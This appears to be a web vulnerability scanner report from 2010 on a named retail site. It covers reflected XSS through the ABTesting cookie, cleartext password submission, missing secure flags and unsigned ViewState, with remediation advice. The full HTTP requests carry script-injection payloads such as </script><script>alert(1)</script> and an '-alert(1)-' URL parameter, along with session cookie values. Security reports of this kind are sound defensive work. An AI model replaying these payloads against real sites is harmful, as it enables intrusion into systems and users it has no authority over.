The value of the ABTesting cookie is copied into a JavaScript rest-of-line comment. The payload b202e</script><script>alert(1)</script>ab8e140f53a was submitted in the ABTesting cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET / HTTP/1.1 Host: www.discountschoolsupply.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11608481.1293356326.1.1.utmcsr=CSE|utmccn=becomecom|utmcmd=weblink; ASPSESSIONIDAQSQCBRQ=ANIIDPLCOIAEAJOJMJFDDMGD; ABTesting=cookiemonster=cowabunga&abv=1&abt1=bb202e</script><script>alert(1)</script>ab8e140f53a; ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; __utma=11608481.1341632093.1293356326.1293356326.1293356326.1; __utmc=11608481; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=0&ClearanceProductID=0&ZipCode=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&SessionSr=A000123&AutoLogin=; __utmb=11608481.1.10.1293356326; ASP.NET_SessionId=30zc3j45vfpiii55rmfjpl45;
Response
HTTP/1.1 200 OK Date: Sun, 26 Dec 2010 04:00:00 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 155097
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head id="ctl00_hdMasterPage"><title> Discount School Supply ... ...[SNIP]... <!-- //********************************************************** //A/B Test Group: BB202E</SCRIPT><SCRIPT>ALERT(1)</SCRIPT>AB8E140F53A //********************************************************** --> ...[SNIP]...
The value of the ABTesting cookie is copied into a JavaScript rest-of-line comment. The payload 5fa15</script><script>alert(1)</script>659763a61fa was submitted in the ABTesting cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Default.aspx HTTP/1.1 Host: www.discountschoolsupply.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11608481.1293356326.1.1.utmcsr=CSE|utmccn=becomecom|utmcmd=weblink; ASPSESSIONIDAQSQCBRQ=ANIIDPLCOIAEAJOJMJFDDMGD; ABTesting=cookiemonster=cowabunga&abv=1&abt1=b5fa15</script><script>alert(1)</script>659763a61fa; ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; __utma=11608481.1341632093.1293356326.1293356326.1293356326.1; __utmc=11608481; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=0&ClearanceProductID=0&ZipCode=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&SessionSr=A000123&AutoLogin=; __utmb=11608481.1.10.1293356326; ASP.NET_SessionId=30zc3j45vfpiii55rmfjpl45;
Response
HTTP/1.1 200 OK Date: Sun, 26 Dec 2010 03:59:02 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 155097
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head id="ctl00_hdMasterPage"><title> Discount School Supply ... ...[SNIP]... <!-- //********************************************************** //A/B Test Group: B5FA15</SCRIPT><SCRIPT>ALERT(1)</SCRIPT>659763A61FA //********************************************************** --> ...[SNIP]...
The value of the ABTesting cookie is copied into a JavaScript rest-of-line comment. The payload f3cf4</script><script>alert(1)</script>0ebf438237f was submitted in the ABTesting cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET / HTTP/1.1 Host: www.discountschoolsupply.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11608481.1293356326.1.1.utmcsr=CSE|utmccn=becomecom|utmcmd=weblink; ASPSESSIONIDAQSQCBRQ=ANIIDPLCOIAEAJOJMJFDDMGD; ABTesting=cookiemonster=cowabunga&abv=1&abt1=bf3cf4</script><script>alert(1)</script>0ebf438237f; ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; __utma=11608481.1341632093.1293356326.1293356326.1293356326.1; __utmc=11608481; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=0&ClearanceProductID=0&ZipCode=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&SessionSr=A000123&AutoLogin=; __utmb=11608481.1.10.1293356326; ASP.NET_SessionId=30zc3j45vfpiii55rmfjpl45;
Response
HTTP/1.1 200 OK Date: Sun, 26 Dec 2010 04:01:44 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 155097
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head id="ctl00_hdMasterPage"><title> Discount School Supply ... ...[SNIP]... <!-- //********************************************************** //A/B Test Group: BF3CF4</SCRIPT><SCRIPT>ALERT(1)</SCRIPT>0EBF438237F //********************************************************** --> ...[SNIP]...
2. Cleartext submission of passwordpreviousnext There are 20 instances of this issue:
Passwords submitted over an unencrypted connection are vulnerable to capture by an attacker who is suitably positioned on the network. This includes any malicious party located on the user's own network, within their ISP, within the ISP used by the application, and within the application's hosting infrastructure. Even if switched networks are employed at some of these locations, techniques exist to circumvent this defense and monitor the traffic passing through switches.
Issue remediation
The application should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas of the application should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Issue background
If the secure flag is set on a cookie, then browsers will not submit the cookie in any requests that use an unencrypted HTTP connection, thereby preventing the cookie from being trivially intercepted by an attacker monitoring network traffic. If the secure flag is not set, then the cookie will be transmitted in clear-text if the user visits any HTTP URLs within the cookie's scope. An attacker may be able to induce this event by feeding a user suitable links, either directly or via another web site. Even if the domain which issued the cookie does not host any content that is accessed over HTTP, an attacker may be able to use links of the form http://example.com:443/ to perform the same attack.
Issue remediation
The secure flag should be set on all cookies that are used for transmitting sensitive data when accessing content over HTTPS. If cookies are used to transmit session tokens, then areas of the application that are accessed over HTTPS should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications.
Request
GET /MyAccount/Registration.aspx?ddb2e'-alert(1)-'3d52921e027=1 HTTP/1.1 Host: www.discountschoolsupply.com Connection: keep-alive Referer: https://www.discountschoolsupply.com/MyAccount/Registration.aspx?ddb2e'-alert(1)-'3d52921e027=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; ABTesting=cookiemonster=cowabunga&abv=1&abt1=b; __utmz=11608481.1293335682.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/7; __utma=11608481.1341632093.1293356326.1293356326.1293335682.2; __utmb=11608481.9.10.1293335682; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=&ClearanceProductID=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&ZipCode=&SessionSr=&AutoLogin=
The ViewState is a mechanism built in to the ASP.NET platform for persisting elements of the user interface and other data across successive requests. The data to be persisted is serialised by the server and transmitted via a hidden form field. When it is POSTed back to the server, the ViewState parameter is deserialised and the data is retrieved.
By default, the serialised value is signed by the server to prevent tampering by the user; however, this behaviour can be disabled by setting the Page.EnableViewStateMac property to false. If this is done, then an attacker can modify the contents of the ViewState and cause arbitrary data to be deserialised and processed by the server. If the ViewState contains any items that are critical to the server's processing of the request, then this may result in a security exposure.
You should review the contents of the deserialised ViewState to determine whether it contains any critical items that can be manipulated to attack the application.
Issue remediation
There is no good reason to disable the default ASP.NET behaviour in which the ViewState is signed to prevent tampering. To ensure that this occurs, you should set the Page.EnableViewStateMac property to true on any pages where the ViewState is not currently signed.